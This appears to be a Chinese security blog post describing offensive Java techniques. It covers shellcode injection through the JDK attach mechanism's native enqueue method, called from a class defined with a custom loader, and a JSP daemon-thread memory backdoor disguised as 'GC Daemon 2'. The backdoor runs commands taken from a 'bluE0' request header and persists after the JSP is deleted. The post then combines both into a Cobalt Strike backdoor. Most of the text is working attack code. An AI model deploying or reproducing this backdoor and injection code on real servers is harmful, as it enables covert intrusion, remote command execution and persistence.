rebeyond师傅曾在2021年发表过一篇文章《Java内存攻击技术漫谈》,其中有提到如何进行Java的原生函数进行进程注入。
参考链接:https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw
不安全的attach机制
在jdk8中,attach机制的实现主要来自于tools.jar包中的sun.tools.attach.VirtualMachineImpl类,在jdk8u172中如下:
从参考文档中可知,VituralMachine类主要使用loadAgent , loadAgentLibrary ,和loadAgentPath来加载我们的attach对象。
loadAgent
loadAgentLibrary
loadAgentPath
HotSpotVirtualMachine中有loadAgentLibrary的具体实现:
`private void loadAgentLibrary(String agentLibrary, boolean isAbsolute, String options) throws AgentLoadException, AgentInitializationException, IOException {` `InputStream in = this.execute("load", agentLibrary, isAbsolute ? "true" : "false", options);`` ` `try {` `int result = this.readInt(in);` `if (result != 0) {` `throw new AgentInitializationException("Agent_OnAttach failed", result);` `}` `} finally {` `in.close();` `}`` ``}`
跟进这个execute方法:
先创建一个pipe然后获取pid,当pid不等于-1时继续交给enqueue方法处理:
`InputStream execute(String cmd, Object... args) throws AgentLoadException, IOException {` `assert args.length <= 3;`` ` `int r = (new Random()).nextInt();` `String pipename = "\\\\.\\pipe\\javatool" + r;` `long hPipe = createPipe(pipename);` `if (this.hProcess == -1L) {` `closePipe(hPipe);` `throw new IOException("Detached from target VM");` `} else {` `try {` `enqueue(this.hProcess, stub, cmd, pipename, args);` `connectPipe(hPipe);` `WindowsVirtualMachine.PipedInputStream is = new WindowsVirtualMachine.PipedInputStream(hPipe);` `int status = this.readInt(is);` `if (status != 0) {` `String message = this.readErrorMessage(is);` `if (cmd.equals("load")) {` `throw new AgentLoadException("Failed to load agent library");` `} else if (message == null) {` `throw new AttachOperationFailedException("Command failed in target VM");` `} else {` `throw new AttachOperationFailedException(message);` `}` `} else {` `return is;` `}` `} catch (IOException var10) {` `closePipe(hPipe);` `throw var10;` `}` `}``}`
enqueue为native方法:
其具体实现方法在WindowsVirtualMachine.c中:
enqueue方法会根据我们传入的stub对象在jvm中开辟内存空间并写入,最后创建stub线程执行。
与我们在进程中开辟内存空间并执行shellcode的方法如出一辙。
可是我们要如何调用native方法呢?
自定义类调用系统Native库函数
引用rebeyond师傅的一句话:
我们都知道classLoader在loadClass的时候采用双亲委托机制,也就是如果系统中已经存在一个类,即使我们用自定义的classLoader去loadClass,也会返回系统内置的那个类。但是如果我们绕过loadClass,直接去defineClass即可从我们指定的字节码数组里创建类,而且类名可以任意自定义,重写java.lang.String都没问题。然后再用defineClass返回的Class去实例化,然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader,这是我们这个方法能成功的原因。
rebeyond,公众号:SilverNeedleLabJava内存攻击技术漫谈
其中最重要的一句话我觉得是这句:
因为Native函数在调用的时候只检测发起调用的类限定名,并不检测发起调用类的ClassLoader。
只要我们能够找到调用该native方法的某个类限定名,并自定义一个相同类名的类使用defineClass实例化便可以调用任意native方法。
经过调试发现此方法还需要满足:包名不能以java.xxx开头,否则将会报错(具体可看defineClass0等实现方法)。
1.自定义WindowsVirtualMachine.class
`package sun.tools.attach;`` ``import java.io.IOException;``import java.util.Scanner;`` ``public class WindowsVirtualMachine {`` ` `static byte buf[] = new byte[] {"shellcode here"};`` ` `static native void enqueue(long hProcess, byte[] stub,` `String cmd, String pipename, Object... args) throws IOException;`` ` `static native long openProcess(int pid) throws IOException;`` ` `public static void run() {` `System.loadLibrary("attach");` `try {` `enqueue(-1, buf, "load", "test", new Object[]{});` `} catch (Exception e) {` `e.printStackTrace();` `}` `}``}`
2.编译并转为base64编码执行
`package com.example.java_injection;`` ``import java.lang.reflect.Method;``import java.util.Base64;`` ``public class shellcode {`` ` `public static class Myloader extends ClassLoader` `{` `public Class get(byte[] b) {` `return super.defineClass(b, 0, b.length);` `}`` ` `}`` ` `public static void main(String[] args)``{`` ` `try {` `String Str = "ur base64 here";` `Class result = new Myloader().get(Base64.getDecoder().decode(classStr));`` ` `for (Method m:result.getDeclaredMethods())` `{` `System.out.println(m.getName());` `if (m.getName().equals("run"))` `{` `m.invoke(result);` `}` `}` `} catch (Exception e) {` `e.printStackTrace();` `}` `}``}`
放入shellcode后 jsp直接上线cs:
利用jsp实现线程型后门
参考su18师傅的文章,写的比较清楚了,里面介绍了Timer和Daemon型两种:
https://su18.org/post/memory-shell-2/
通过创建一个单独的循环线程,从线程中获取requset header头来执行命令。
Demo如下:
获取system线程组:
`private static ThreadGroup getSystemThreadGroup() {` `ThreadGroup group = Thread.currentThread().getThreadGroup();` `while (!group.getName().equals("system")) {` `group = group.getParent();` `}` `return group;``}`
创建守护线程:
`Thread d = new Thread(getSystemThreadGroup(), new Runnable() {` `public void run() {`` ` `while (true) {` `try {`` ` `List<Object> list = getRequest();` `if (list.size() == 2) {` `try {` `Runtime.getRuntime().exec(list.get(1).toString());` `} catch (Exception e) {` `e.printStackTrace();` `}` `}` `Thread.sleep(10000);` `} catch (Exception ignored) {` `}` `}` `}``}, "GC Daemon 2", 0);`` ``d.setDaemon(true);``d.start();`
调试过程中发现有两个小问题:
1.requset请求获取逻辑
在使用System线程组创建线程后,当前的ThreadGroup将会变为system,但其中的groups中包含我们所需的main线程组。
所以这里需要稍微改一下requset获取逻辑:
`public List<Object> getRequest() {` `try {` `ThreadGroup[] groups = (ThreadGroup[]) getField(Thread.currentThread().getThreadGroup(), "groups");` `for (ThreadGroup group : groups) {` `if (group.getName().equals("main")) {` `Thread[] threads = (Thread[]) ((Thread[]) getField(group, "threads"));`` ` `for (Thread thread : threads) {` `if (thread != null) {` `String threadName = thread.getName();` `if (!threadName.contains("exec") && threadName.contains("http")) {` `Object target = getField(thread, "target");` `if (target instanceof Runnable) {` `try {` `target = getField(getField(getField(target, "this$0"), "handler"), "global");` `} catch (Exception var11) {` `continue;` `}`` ` `List processors = (List) getField(target, "processors");`` ` `for (Object processor : processors) {` `target = getField(processor, "req");` `String cmd = null;` `cmd = (String) target.getClass().getMethod("getHeader", String.class).invoke(target, new String("bluE0"));` `if (cmd != null && !cmd.isEmpty()) {`` ` `Object note = target.getClass().getDeclaredMethod("getNote", int.class).invoke(target, 1);` `System.out.println("note = " + note);` `Object req = note.getClass().getDeclaredMethod("getRequest").invoke(note);` `System.out.println("req = " + req);` `List<Object> list = new ArrayList<Object>();` `list.add(req);` `list.add(cmd);` `return list;` `}` `}` `}` `}` `}` `}` `} else {` `continue;` `}` `}`` ` `} catch (Exception ignored) {`` ` `}` `return new ArrayList<Object>();``}`
2.线程执行时间不均
此问题是由于server在处理request时的时间与我们创建的守护线程在执行代码逻辑时的时间不一致导致的,简单点说就是我们的恶意代码执行时间小于server的响应时间,所以可能会出现一次命令执行多次的情况。
在这里su18师傅通过hashSet记录执行的命令,使每一条命令只能执行一次。
经过测试在自己本地的测试环境下,将sleep时间改为10000ms时,每次命令大概只会重复执行一次:
根据守护线程的特性,将相关jsp删除后此段代码仍将线程中执行:
达到持久化的效果:
组合利用
利用很简单,将上述两位师傅的方法组合一下即可,在header头中获取到特征值既执行我们预先设置好的shellcode:
`Thread d = new Thread(getSystemThreadGroup(), new Runnable() {` `public void run() {`` ` `while (true) {` `try {`` ` `List<Object> list = getRequest();` `if (list.size() == 2) {` `try {``// Runtime.getRuntime().exec(list.get(1).toString());` `class Myloader extends ClassLoader` `{` `public Class get(byte[] b) {` `return super.defineClass(b, 0, b.length);` `}` `}`` ` `try {` `String classStr = "payload"` `Class result = new Myloader().get(Base64.getDecoder().decode(classStr));`` ` `for (Method m : result.getDeclaredMethods()) {` `System.out.println(m.getName());` `if (m.getName().equals("run")) {` `m.invoke(result);` `}` `}` `} catch (Exception ignored) {`` ` `}`` ` `} catch (Exception ignored) {`` ` `}` `}` `Thread.sleep(10000);` `} catch (Exception ignored) {` `}` `}` `}` `}, "GC Daemon 2", 0);`` ` `d.setDaemon(true);` `d.start();`
header头中携带我们设置好的字段,值随意:
既简单实现一个线程型cs后门。
后记
本文提到的技术都是各位师傅已经发表过的,顶多算得上是一篇java学习笔记。
前几个月研究rebeyond师傅的java原生函数hook时将open jdk翻了一遍,无奈没有找到其他相对好利用的native函数。前段时间看到su18师傅的线程型内存马想到是否可以组合一下,于是尝试自己改一改,好歹当作有点产出~
上述中若有不足或错误望师傅们点出。